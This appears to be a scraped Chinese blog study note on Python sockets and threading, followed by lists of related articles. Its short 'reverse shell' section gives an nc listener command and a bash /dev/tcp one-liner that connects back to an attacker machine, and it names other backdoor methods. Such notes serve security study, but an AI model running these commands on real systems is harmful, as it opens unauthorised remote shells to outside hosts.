文章目录

  • Socket套接字
    • Socket工作流程
  • 多线程
  • 反弹shell

Socket套接字

https://www.runoob.com/python3/python3-socket.html
Python 提供了两个级别访问的网络服务。:

  • 低级别的网络服务支持基本的 Socket,它提供了标准的 BSD Sockets API,可以访问底层操作系统Socket接口的全部方法。
  • 高级别的网络服务模块 SocketServer, 它提供了服务器中心类,可以简化网络服务器的开发。

Socket是对TCP/UDP协议的封装,使用socket自然就遵守了TCP/UDP的协议规则。

Socket工作流程

  1. 服务端先初始化Socket,然后与端口绑定(bind),对端口进行监听(listen),调用accept阻塞,等待客户端连接。
  2. 客户端初始化一个Socket,然后连接服务器(connect),如果连接成功,这时客户端与服务器端的连接就建立了。
  3. 客户端发送数据请求,服务器端接受请求并处理,然后把结果发送给客户端。
  4. 客户端接收服务端发送的结果数据,最后关闭连接,一次交互完成。

服务端关闭的话,客户端还发送请求,会导致类似死锁一样,客户端等不到服务端响应,像卡主了一样。

多线程

https://www.runoob.com/python3/python3-multithreading.html
在 Python3 中不能再使用"thread" 模块。为了兼容性,Python3 将 thread 重命名为 “_thread”。

反弹shell

  1. 调用nc后门
    攻击机:nc -lvvp 5000 #监听5000端口
    客户机:bash -i >& /dev/tcp/ip/prod 0>&1 #连接攻击机
  2. 调用系统tcp形式后门
  3. 使用socket绑定/bin/bash
  4. 直接socket+popen管道

18、Python第二节相关推荐

  1. 【Python基础知识-pycharm版】第二节-赋值/数据类型/时间点/运算符/字符串

    python第二节 链式赋值_系列解包赋值 内置数据类型 时间表示unix时间点 多点坐标绘出折线图 运算符 字符串 部分来源: 1.https://blog.csdn.net/wys103158/a ...

  2. Python基础学习(第二节 下)

    这里写目录标题 1.布尔值的相关运算符 (1)布尔值 (2)比较运算符 (3)逻辑运算符 (4)同一运算符 2.字符串 (1)字符串的基本特点 (2)字符串的创建和len( )函数 (3)转义字符 ( ...

  3. Python编程基础:第二节 多重赋值Multiple Assignment

    第二节 多重赋值Multiple Assignment 前言 取不同值的变量 取相同值的变量 前言 上一节中我们介绍了变量,通常情况下需要为每一个变量赋予相应的值,但是我们如果将每一个变量赋值都用一行 ...

  4. 第二节:Python要点

    第二节:Python要点 1,python语言 1.1Python语言的基本概念 官⽅对 Python 的介绍如下: Python 是⼀款易于学习且功能强⼤的编程语⾔. 它具有⾼效率的数据结 构,能够 ...

  5. 【数据聚类】第三章第二节2:K-Means算法及其Python实现(算法实现、结果展示)

    pdf下载(密码:7281) 本文上接:[数据聚类]第三章第二节1:K-Means算法及其Python实现(距离度量方式.目标函数和算法流程) 本文下接:[数据聚类]第三章第二节3:K-Means算法 ...

  6. 【v2.x OGE-example 第二章(第二节) 修改器的使用】

    2019独角兽企业重金招聘Python工程师标准>>> [v2.x OGE-example 第二章(第二节) 修改器的使用] 1. 位置:Modifier_example --> ...

  7. 《流畅的Python第二版》读书笔记——函数作为一等对象

    引言 这是<流畅的Python第二版>抢先版的读书笔记.Python版本暂时用的是python3.10.为了使开发更简单.快捷,本文使用了JupyterLab. 函数是Python的一等( ...

  8. 高红梅:第三章 第二节 身份焦虑与英雄梦

    第二节 身份焦虑与英雄梦 海明威一生都在世界各地旅行,其足迹遍及欧洲.非洲.美洲和亚洲,有世界公民的美誉.正如学者卡洛斯·贝克(Baker ,Carlos)所言,"早在他五十五岁荣获诺贝尔文 ...

  9. 自学Python第二十六天- Tornado 框架

    自学Python第二十六天- Tornado 框架 安装及基础引用 创建.配置.初始化应用及简单运行服务 创建应用 对 app 进行设置 另一种设置方法 一些其他的配置 关于调试模式 设置路由处理器 ...

  10. 从零写VIO|第二节——作业:使用Allen方差工具标定IMU

    这里写目录标题 作业内容 1 安装im_utils 1.1. 安装依赖: 1.2 编译 1.3 可能出的错误 2. 运行 ~~2.1 采集IMU数据~~ 2.2 生成imu.bag 2.3 新建imu ...

最新文章

  1. Java 中字符串的格式化
  2. Ecplise SVN 配置和使用
  3. 【VS开发】C++线程安全
  4. java 动态增加定时任务
  5. Java LinkedList对象的get(int index)方法与示例
  6. java get set 注解_java技能提升,用Lombok甩掉get和set,让代码变得更简洁
  7. sink的简历(2011-6-20),寻工作一份
  8. Session的clear方法和flush方法
  9. springmvc跨域资料收集
  10. 最新!泰晤士2021亚洲大学排名发布:91所中国大陆高校上榜!
  11. 微信核酸检测预约小程序系统毕业设计毕设(6)开题答辩PPT
  12. Mybatis collection 递归查询并自动装填所有子节点(多参数查询传入参数方法)
  13. 学计算机要高智商吗,这7大高智商专业,很容易挂科,如果不是学霸级人物,最好不要报考...
  14. LC765. 情侣牵手
  15. 工业设计公司如何进行家电设计创新?
  16. spring aop 切面添加日志
  17. 求素数(质数)的方法(求100以内的素数及判断该数是否为素数)
  18. Css实现刘海,纯CSS样式写刘海屏效果
  19. CTF术语_ReversePwn(持续更新)
  20. 1.1 车标图像分类

热门文章

  1. scrapy爬取动态网页
  2. 计算机第三套演示文稿yswg.pptx,打开考生文件夹下的演示文稿yswg.pptx,根据考生文件夹下的文件“PPT-素材.docx”,按照下列要求完善 - 赏学吧...
  3. 批量安装windows系统补丁包
  4. 学大数据应该会什么?
  5. warmup与余弦退火学习率
  6. 双目标定(三)标定流程(含矫正)
  7. UCenter Home 正式开源 促进国内SNS网站发展
  8. 面试题之10亿正整数问题--完整解答
  9. 老徐WEB:js入门学习 - javascript对象之Array对象
  10. 2022年羊城杯wp